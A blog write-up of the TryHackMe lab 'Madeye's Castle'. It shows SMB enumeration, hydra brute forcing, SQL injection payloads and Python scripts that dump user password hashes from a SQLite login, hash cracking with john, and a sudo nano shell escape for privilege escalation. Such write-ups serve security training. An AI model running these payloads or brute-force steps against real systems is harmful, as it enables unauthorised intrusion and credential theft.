Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Madeye’s Castle | Dec 13, 2022

Introduction

Welcome to my another writeup! In this TryHackMe Madeye’s Castle room, you’ll learn: Error-Based SQL injection, timing attack and more! Without further ado, let’s dive in.

Background

A boot2root box that is modified from a box used in CuCTF by the team at Runcode.ninja

Difficulty: Medium


Have fun storming Madeye’s Castle! In this room you will need to fully enumerate the system, gain a foothold, and then pivot around to a few different users.

Service Enumeration

As usual, scan the machine for open ports via rustscan!

Rustscan:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# export RHOSTS=10.10.108.236         
                                                                                                           
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt
[...]
PORT    STATE SERVICE     REASON         VERSION
22/tcp  open  ssh         syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7f5f48fa3d3ee69c239433d18d22b47a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSmqaAdIPmWjN3e6ubgLXXBGVvX9bKtcNHYD2epO9Fwy4brQNYRBkUxrRp4SJIX26MGxGyE8C5HKzhKdlXCeQS+QF36URayv/joz6UOTFTW3oxsMF6tDYMQy3Zcgh5Xp5yVoNGP84pegTQjXUUxhYSEhb3aCIci8JzPt9JntGuO0d0BQAqEo94K3RCx4/V7AWO1qlUeFF/nUZArwtgHcLFYRJEzonM02wGNHXu1vmSuvm4EF/IQE7UYGmNYlNKqYdaE3EYAThEIiiMrPaE4v21xi1JNNjUIhK9YpTA9kJuYk3bnzpO+u6BLTP2bPCMO4C8742UEc4srW7RmZ3qmoGt
|   256 5375a74aa8aa46666a128ccdc26f39aa (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCDhpuUC3UgAeCvRo0UuEgWfXhisGXTVUnFooDdZzvGRS393O/N6Ywk715TOIAbk+o1oC1rba5Cg7DM4hyNtejk=
|   256 7fc22f3d64d90a507460360398007598 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGnNa6K0GzjKiPdClth/sy8rhOd8KtkuagrRkr4tiATl
80/tcp  open  http        syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: Amazingly It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
139/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: HOGWARTZ-CASTLE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
[...]
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: hogwartz-castle
|   NetBIOS computer name: HOGWARTZ-CASTLE\x00
|   Domain name: \x00
|   FQDN: hogwartz-castle
|_  System time: 2022-12-13T06:48:32+00:00
|_clock-skew: mean: 1s, deviation: 0s, median: 0s

According to rustscan result, we have 4 ports are opened:

Open Ports Service
22 OpenSSH 7.6p1 Ubuntu
80 Apache httpd 2.4.29 ((Ubuntu))
139,445 Samba smbd 4.7.6-Ubuntu

SMB on Port 139,445

In SMB, we can use smbclient to list all the file shares on the target machine:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# smbclient -L \\\\$RHOSTS  
Password for [WORKGROUP\nam]:

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	sambashare      Disk      Harry's Important Files
	IPC$            IPC       IPC Service (hogwartz-castle server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            HOGWARTZ-CASTLE

That sambashare share is not a default one! Let’s connect to that share:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# smbclient \\\\$RHOSTS\\sambashare
Password for [WORKGROUP\nam]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Nov 25 20:19:20 2020
  ..                                  D        0  Wed Nov 25 19:57:55 2020
  spellnames.txt                      N      874  Wed Nov 25 20:06:32 2020
  .notes.txt                          H      147  Wed Nov 25 20:19:19 2020

		9219412 blocks of size 1024. 4224064 blocks available

Found 2 files! Let’s get them!

smb: \> prompt off
smb: \> mget *
getting file \spellnames.txt of size 874 as spellnames.txt (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
getting file \.notes.txt of size 147 as .notes.txt (0.1 KiloBytes/sec) (average 0.5 KiloBytes/sec)

spellnames.txt:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# head -n 10 spellnames.txt                                                       
avadakedavra
crucio
imperio
morsmordre
brackiumemendo
confringo
sectumsempra
sluguluseructo
furnunculus
densaugeo

.notes.txt:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# cat .notes.txt    
Hagrid told me that spells names are not good since they will not "rock you"
Hermonine loves historical text editors along with reading old books.

Hmm… Looks like the spellnames.txt is a wordlist of passwords and we need to brute force some users?? Also, hagrid and hermonine might be the username.

HTTP on Port 80

Adding a new domain to /etc/hosts: (It’s a good practice to do so.)

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# echo "$RHOSTS madeyes-castle.thm" >> /etc/hosts

It’s an apache default page. Let’s view the source to see is there anything weird:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <!--
        TODO: Virtual hosting is good. 
        TODO: Register for hogwartz-castle.thm
  -->
[...]

Gotcha, let’s change the our /etc/hosts domain name to hogwartz-castle.thm, and fuzzing subdomains via ffuf:

10.10.108.236 hogwartz-castle.thm
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://hogwartz-castle.thm/ -H "Host: FUZZ.hogwartz-castle.thm" -t 100 -fs 10965
[...]

But found nothing in fuzzing subdomains…

Let’s go to the new domain web page:

<body>
	<h1>Welcome to Hogwartz</h1>	

	<form action="/login" method = "post" id="loginform">
		<h3>Username:</h3><br>
			<input type="text" name="user"><br>
		<h3>Password:</h3><br>
		<input type="password" name="password">
	</form>	
	<button type="submit" form="loginform" value="submit">Submit</button><br>
</body>

Hmm… This form is sending a POST request to /login, and we need to supply the user and password.

Maybe can try to guess an administrator level user’s password?

When we sending a wrong username or password, it outputs Incorrect Username or Password.

Armed with above information, we can try to brute force it via the spellnames.txt username wordlist and rockyou.txt password wordlist via hydra!

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# hydra -L spellnames.txt -P /usr/share/wordlists/rockyou.txt $RHOSTS http-post-form "/login:user=^USER^&password=^PASS^:Incorrect Username or Password" -t 64

However, nothing found.

Hmm… How about using SQL injection to bypass the authentication??

We can try some simple SQL injection payload, like:

' OR 1=1-- -

Note: The password can be anything.

"The password for Lucas Washington is incorrect! contact administrator. Congrats on SQL injection... keep digging"

Hmm… Looks like it’s vulnerable to SQL injection, and we found user Lucas Washington??

Let’s use the LIMIT and OFFSET clause to only show 1 row, and I’m guessing it’s using MySQL as the DBMS(Database Management System):

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# curl http://hogwartz-castle.thm/login -d "user=' OR 1=1 LIMIT 1 OFFSET 0-- -&password="
{"error":"The password for Lucas Washington is incorrect! contact administrator. Congrats on SQL injection... keep digging"}
                                                                                                           
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# curl http://hogwartz-castle.thm/login -d "user=' OR 1=1 LIMIT 1 OFFSET 1-- -&password="
{"error":"The password for Harry Turner is incorrect! My linux username is my first name, and password uses best64"}
                                                                                                           
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# curl http://hogwartz-castle.thm/login -d "user=' OR 1=1 LIMIT 1 OFFSET 2-- -&password="
{"error":"The password for Andrea Phillips is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}
                                                                                                           
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# curl http://hogwartz-castle.thm/login -d "user=' OR 1=1 LIMIT 1 OFFSET 3-- -&password="
{"error":"The password for Liam Hernandez is incorrect! contact administrator. Congrats on SQL injection... keep digging"}
                                                                                                           
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# curl http://hogwartz-castle.thm/login -d "user=' OR 1=1 LIMIT 1 OFFSET 4-- -&password="
{"error":"The password for Adam Jenkins is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

The second result is different!

The password for Harry Turner is incorrect! My linux username is my first name, and password uses best64

To enumerate all possible users, I’ll write a python script:

#!/usr/bin/python3

import requests

def main():
    url = 'http://hogwartz-castle.thm/login'
    position = 0

    while True:        
        finalPayload = f"""' OR 1=1 LIMIT 1 OFFSET {position}-- -"""

        data = {
            'user': finalPayload,
            'password': ''
        }

        requestText = requests.post(url, data=data).text
        
        if 'Incorrect Username or Password' not in requestText:
            print(requestText)
            position += 1
        else:
            print(f'[+] Total number of users: {position + 1}')
            exit()

if __name__ == '__main__':
    main()
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# python3 enum_http_login.py
{"error":"The password for Lucas Washington is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Harry Turner is incorrect! My linux username is my first name, and password uses best64"}

{"error":"The password for Andrea Phillips is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Liam Hernandez is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Adam Jenkins is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Landon Alexander is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Kennedy Anderson is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Sydney Wright is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Aaliyah Sanders is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Olivia Murphy is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Olivia Ross is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Grace Brooks is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Jordan White is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Diego Baker is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Liam Ward is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Carlos Barnes is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Carlos Lopez is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Oliver Gonzalez is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Sophie Sanchez is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Maya Sanders is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Joshua Reed is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Aaliyah Allen is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Jasmine King is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Jonathan Long is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Samuel Anderson is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Julian Robinson is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Gianna Harris is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Madelyn Morgan is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Ella Garcia is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Zoey Gonzales is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Abigail Morgan is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Joseph Rivera is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Elizabeth Cook is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Parker Cox is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Savannah Torres is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Aaliyah Williams is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Blake Washington is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Claire Miller is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Brody Stewart is incorrect! contact administrator. Congrats on SQL injection... keep digging"}

{"error":"The password for Kimberly Murphy is incorrect!  contact administrator. Congrats on SQL injection... keep digging"}

[+] Total number of users: 41

Now, we found 41 users, and can confirm the second result is different.

Armed with above information, we can try to brute force user harry on SSH:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# hydra -l 'harry' -P spellnames.txt ssh://$RHOSTS 
[...]
1 of 1 target completed, 0 valid password found

Hmm… Let’s base64 everything in spellnames.txt, as the password uses best64 (base64??):

#!/usr/bin/python3

from base64 import b64encode

def main():
	with open('./spellnames.txt', 'r') as fd:
		for line in fd:
			listPlainText = line.strip().split('\n')
			plainText = bytes(listPlainText[0], 'utf-8')
			base64Encoded = b64encode(plainText)

			with open('./spellnames.b64', 'ab') as fdWrite:
				fdWrite.write(base64Encoded + b'\n')

if __name__ == '__main__':
	main()
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# head -n 10 spellnames.b64
YXZhZGFrZWRhdnJh
Y3J1Y2lv
aW1wZXJpbw==
bW9yc21vcmRyZQ==
YnJhY2tpdW1lbWVuZG8=
Y29uZnJpbmdv
c2VjdHVtc2VtcHJh
c2x1Z3VsdXNlcnVjdG8=
ZnVybnVuY3VsdXM=
ZGVuc2F1Z2Vv

Now, we can parse that base64 encoded wordlist to hydra:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# hydra -l 'harry' -P spellnames.b64 ssh://$RHOSTS
[...]
1 of 1 target completed, 0 valid password found

But still no dice…

After banging my head against the wall, I found that I didn’t enumerate hidden directories and files at all!!

Let’s use gobuster to do that:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# gobuster dir -u http://hogwartz-castle.thm/ -w /usr/share/wordlists/dirb/common.txt -t 100 -x php,txt,bak 
[...]
/login                (Status: 405) [Size: 178]
/logout               (Status: 302) [Size: 209] [--> http://hogwartz-castle.thm/]
/server-status        (Status: 403) [Size: 284]
/static               (Status: 301) [Size: 327] [--> http://hogwartz-castle.thm/static/]

Nothing weird in hogwartz-castle.thm.

Since this hogwartz-castle.thm domain is showing a different web page before we add a new domain, I’ll also using gobuster in the IP address:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# gobuster dir -u http://$RHOSTS/ -w /usr/share/wordlists/dirb/common.txt -t 100 -x php,txt,bak
[...]
/backup               (Status: 301) [Size: 315] [--> http://10.10.108.236/backup/]
/index.html           (Status: 200) [Size: 10965]
/server-status        (Status: 403) [Size: 278]

Found /backup directory!

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# curl http://$RHOSTS/backup/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.108.236 Port 80</address>
</body></html>

403 Forbidden?

Let’s enumerate hidden file inside it!

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# gobuster dir -u http://$RHOSTS/backup/ -w /usr/share/wordlists/dirb/common.txt -t 100 -x php,txt,bak
[...]
/email                (Status: 200) [Size: 1527]

That email looks sussy!

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# curl http://$RHOSTS/backup/email
Madeye,

It is done. I registered the name you requested below but changed the "s" to a "z". You should be good to go.

RME

--------
On Tue, Nov 24, 2020 at 8:54 AM Madeye Moody <ctf@madeye.ninja> wrote:
Mr. Roar M. Echo,

Sounds great! Thanks, your mentorship is exactly what we need to avoid legal troubles with the Ministry of Magic.

Magically Yours,
madeye

--------
On Tue, Nov 24, 2020 at 8:53 AM Roar May Echo <info@roarmayecho.com> wrote:
Madeye,

I don't think we can do "hogwarts" due to copright issuyes, but let’s go with "hogwartz", how does that sound?

Roar

--------
On Tue, Nov 24, 2020 at 8:52 AM Madeye Moody <ctf@madeye.ninja> wrote:
Dear Mr. Echo,

Thanks so much for helping me develop my castle for TryHackMe. I think it would be great to register the domain name of "hogwarts-castle.thm" for the box. I have been reading about virtual hosting in Apache and it's a great way to host multiple domains on the same server. The docs says that...

> The term Virtual Host refers to the practice of running more than one web site (such as 
> company1.example.com and company2.example.com) on a single machine. Virtual hosts can be 
> "IP-based", meaning that you have a different IP address for every web site, or "name-based", 
> meaning that you have multiple names running on each IP address. The fact that they are 
> running on the same physical server is not apparent to the end user.

You can read more here: https://httpd.apache.org/docs/2.4/vhosts/index.html

What do you think?

Thanks,
madeye

Not useful… As we already knew that there are 2 different websites: The IP-based one, and hogwarts-castle.thm domain.

Again, after poking around, I think that I have to enumerate the SQL injection vulnerability deeper.

Note: I’m trying not to use sqlmap, as I’m still practicing OSCP exam, and doing it manually helps me to have a better understanding in SQL injection.

Based on what I’ve learned in PortSwigger Labs about SQL injection(Writeups), it might vulnerable to error-based SQL injection.

Let’s verify that:

#!/usr/bin/python3

import requests

def main():
    url = 'http://hogwartz-castle.thm/login'

    payload = f"""PAYLOAD_HERE"""

    data = {
        'user': payload,
        'password': ''
    }

    requestText = requests.post(url, data=data).text

    if 'Incorrect Username or Password' not in requestText:
        print(requestText)
    else:
        print('False')

if __name__ == '__main__':
    main()
# Payload 1:
payload = f"""' ORDER BY 5-- -"""

# Payload 2:
payload = f"""' ORDER BY 4-- -"""
# Payload 1:
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# python3 sqli.py
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

# Payload 2:
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# python3 sqli.py
False

As you can see, the current table has 4 columns.

Let’s try to use the UNION clause to verify that:

payload = f"""' UNION SELECT NULL,NULL,NULL,NULL-- -"""
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# python3 sqli.py
{"error":"The password for None is incorrect! None"}

Nice!!

Next, we need to find which column(s) accepting string data type:

payload = f"""' UNION SELECT 'string1','string2','string3','string4'-- -"""
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# python3 sqli.py
{"error":"The password for string1 is incorrect! string4"}

The first and last columns are accepting string data type!

Then, we can list the version of this DBMS:

payload = f"""' UNION SELECT NULL,NULL,NULL,sqlite_version()-- -"""
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# python3 sqli.py
{"error":"The password for None is incorrect! 3.22.0"}

Found it!

Now, we can start to enumerate tables and columns!

payload = f"""' UNION SELECT NULL,NULL,NULL,tbl_name FROM sqlite_master-- -"""
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# python3 sqli.py
{"error":"The password for None is incorrect! users"}

List column names in table users:

payload = f"""' UNION SELECT NULL,NULL,NULL,sql FROM sqlite_master WHERE name='users'-- -"""
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# python3 sqli.py
{"error":"The password for None is incorrect! CREATE TABLE users(\nname text not null,\npassword text not null,\nadmin int not null,\nnotes text not null)"}

Finally, we can extract all data from that table!

However, we’re only interesting in user Harry Turner, who has different notes:

payload = f"""' UNION SELECT NULL,NULL,NULL,name||':'||password FROM users-- -"""

Note: The || is concatenating strings. You can retrieve multiple columns via this technique.

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# python3 sqli.py
{"error":"The password for None is incorrect! Aaliyah Allen:c063c5215b56091327a1f25e38e2d0a5e6db83cceb0ab29cbb0bedd686c18ee5770bfbbfa0a4ac542c8935b0fb63e30ea0bc0408d3523157d840fdfa54ec8dab"}

Hmm… Let’s use the LIMIT and OFFSET clause to extract data!

#!/usr/bin/python3

import requests

def main():
    url = 'http://hogwartz-castle.thm/login'
    position = 0

    while True:
        payload = f"""' UNION SELECT NULL,NULL,NULL,name||':'||password FROM users LIMIT 1 OFFSET {position}-- -"""

        data = {
            'user': payload,
            'password': ''
        }

        requestText = requests.post(url, data=data).text

        if 'Harry Turner' in requestText:
            print(requestText)
            exit()
        else:
            position += 1

if __name__ == '__main__':
    main()
┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# python3 sqli.py
{"error":"The password for None is incorrect! Harry Turner:{Redacted}"}

Initial Foothold

Yes! Let’s crack that hash!

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# hash-identifier '{Redacted}'
[...]
Possible Hashs:
[+] SHA-512
[+] Whirlpool

Least Possible Hashs:
[+] SHA-512(HMAC)
[+] Whirlpool(HMAC)
--------------------------------------------------

By throwing that hash to hash-identifier, it found it’s using SHA-512.

Next, we can try to crack it via john:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# echo -n "{Redacted}" > harry.hash

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# john --wordlist=spellnames.txt --format=Raw-SHA512 harry.hash                  
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2022-12-13 04:01) 0g/s 8100p/s 8100c/s 8100C/s avadakedavra..aguamenti
Session completed.

Umm… it doesn’t work…

Let’s take a step back, In Harry Turner’s notes, it says password uses best64.

At the first galance, I thought it’s saying base64, but then I googled it:

Wait… hashcat (or john) has a rule called best64?? Let’s try that!

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# locate best64.rule
/usr/share/hashcat/rules/best64.rule
/usr/share/john/rules/best64.rule

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# john --wordlist=spellnames.txt --format=Raw-SHA512 --rules=best64 harry.hash
[...]
{Redacted} (?)

We finally got it!! Let’s SSH into harry!!

┌──(root🌸siunam)-[~/ctf/thm/ctf/Madeye's_Castle]
└─# ssh harry@$RHOSTS          
harry@10.10.108.236's password: 
 _      __    __                     __         __ __                          __
 | | /| / /__ / /______  __ _  ___   / /____    / // /__  ___ __    _____ _____/ /____
 | |/ |/ / -_) / __/ _ \/  ' \/ -_) / __/ _ \  / _  / _ \/ _ `/ |/|/ / _ `/ __/ __/_ /
 |__/|__/\__/_/\__/\___/_/_/_/\__/  \__/\___/ /_//_/\___/\_, /|__,__/\_,_/_/  \__//__/
                                                        /___/
[...]
harry@hogwartz-castle:~$ whoami;hostname;id;ip a
harry
hogwartz-castle
uid=1001(harry) gid=1001(harry) groups=1001(harry)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:1e:89:ee:21:37 brd ff:ff:ff:ff:ff:ff
    inet 10.10.108.236/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 2668sec preferred_lft 2668sec
    inet6 fe80::1e:89ff:feee:2137/64 scope link 
       valid_lft forever preferred_lft forever

user1.txt:

harry@hogwartz-castle:~$ cat user1.txt 
RME{Redacted}

I’m user harry!

Privilege Escalation

harry to hermonine

In here, we can try some low hinger fruits, like sudo permission, SUID binary:

harry@hogwartz-castle:~$ sudo -l
[sudo] password for harry: 
Matching Defaults entries for harry on hogwartz-castle:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User harry may run the following commands on hogwartz-castle:
    (hermonine) /usr/bin/pico
    (hermonine) /usr/bin/pico

SUID:

harry@hogwartz-castle:~$ find / -perm -4000 2>/dev/null
/srv/time-turner/swagger
[...]

harry@hogwartz-castle:~$ ls -lah /srv/time-turner/swagger
-rwsr-xr-x 1 root root 8.7K Nov 26  2020 /srv/time-turner/swagger

harry@hogwartz-castle:~$ file /srv/time-turner/swagger
/srv/time-turner/swagger: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=36c89f8b196c651950f369719ff6e50f1b427ff8, not stripped

Find users:

harry@hogwartz-castle:~$ cat /etc/passwd | grep '/bin/bash'
root:x:0:0:root:/root:/bin/bash
harry:x:1001:1001::/home/harry:/bin/bash
hermonine:x:1002:1002::/home/hermonine:/bin/bash

harry@hogwartz-castle:~$ ls -lah /home
total 16K
drwxr-xr-x  4 root      root      4.0K Nov 26  2020 .
drwxr-xr-x 24 root      root      4.0K Nov 26  2020 ..
drwxr-x---  4 harry     harry     4.0K Nov 26  2020 harry
drwxr-x---  5 hermonine hermonine 4.0K Nov 26  2020 hermonine

Now, we’ve found:

Let’s check the /usr/bin/pico!

harry@hogwartz-castle:~$ ls -lah /usr/bin/pico
lrwxrwxrwx 1 root root 22 Aug  6  2020 /usr/bin/pico -> /etc/alternatives/pico

It has a symbolic link to /etc/alternatives/pico:

harry@hogwartz-castle:~$ ls -lah /etc/alternatives/pico
lrwxrwxrwx 1 root root 9 Aug  6  2020 /etc/alternatives/pico -> /bin/nano

And /etc/alternatives/pico symbolic link to /bin/nano??

According to GTFOBins, we can get a shell via nano!

Let’s follow that:

harry@hogwartz-castle:~$ sudo -u hermonine /usr/bin/pico
Unable to create directory /home/harry/.local/share/nano/: Permission denied
It is required for saving/loading search history or cursor positions.

Press Enter to continue

After Pressing Enter, hit Ctrl + R:

Then hit Ctrl + X to execute command:

$ clear

$ whoami;hostname;id;ip a
hermonine
hogwartz-castle
uid=1002(hermonine) gid=1002(hermonine) groups=1002(hermonine)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:1e:89:ee:21:37 brd ff:ff:ff:ff:ff:ff
    inet 10.10.108.236/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 1969sec preferred_lft 1969sec
    inet6 fe80::1e:89ff:feee:2137/64 scope link 
       valid_lft forever preferred_lft forever
$

I’m user hermonine!

However, I don’t like sh shell, so let’s spawn a bash shell:

$ python3 -c "import pty;pty.spawn('/bin/bash')"
bash: /home/harry/.bashrc: Permission denied
hermonine@hogwartz-castle:~$

Much better!

Let’s check out hermonine home directory!

hermonine@hogwartz-castle:~$ cd /home/hermonine

hermonine@hogwartz-castle:/home/hermonine$ ls -lah
total 40K
drwxr-x--- 5 hermonine hermonine 4.0K Nov 26  2020 .
drwxr-xr-x 4 root      root      4.0K Nov 26  2020 ..
lrwxrwxrwx 1 root      root         9 Nov 26  2020 .bash_history -> /dev/null
-rw-r----- 1 hermonine hermonine  220 Apr  4  2018 .bash_logout
-rw-r----- 1 hermonine hermonine 3.7K Apr  4  2018 .bashrc
drwx------ 2 hermonine hermonine 4.0K Nov 26  2020 .cache
drwx------ 3 hermonine hermonine 4.0K Nov 26  2020 .gnupg
-rw-r----- 1 hermonine hermonine  807 Apr  4  2018 .profile
-rw------- 1 hermonine hermonine   36 Nov 26  2020 .python_history
drwxr-x--- 2 hermonine hermonine 4.0K Nov 26  2020 .ssh
-rw-r----- 1 hermonine hermonine   45 Nov 26  2020 user2.txt

Oh! hermonine has a .ssh directory, let’s see if it has a private SSH key or not:

hermonine@hogwartz-castle:/home/hermonine$ ls -lah .ssh
total 8.0K
drwxr-x--- 2 hermonine hermonine 4.0K Nov 26  2020 .
drwxr-x--- 5 hermonine hermonine 4.0K Nov 26  2020 ..

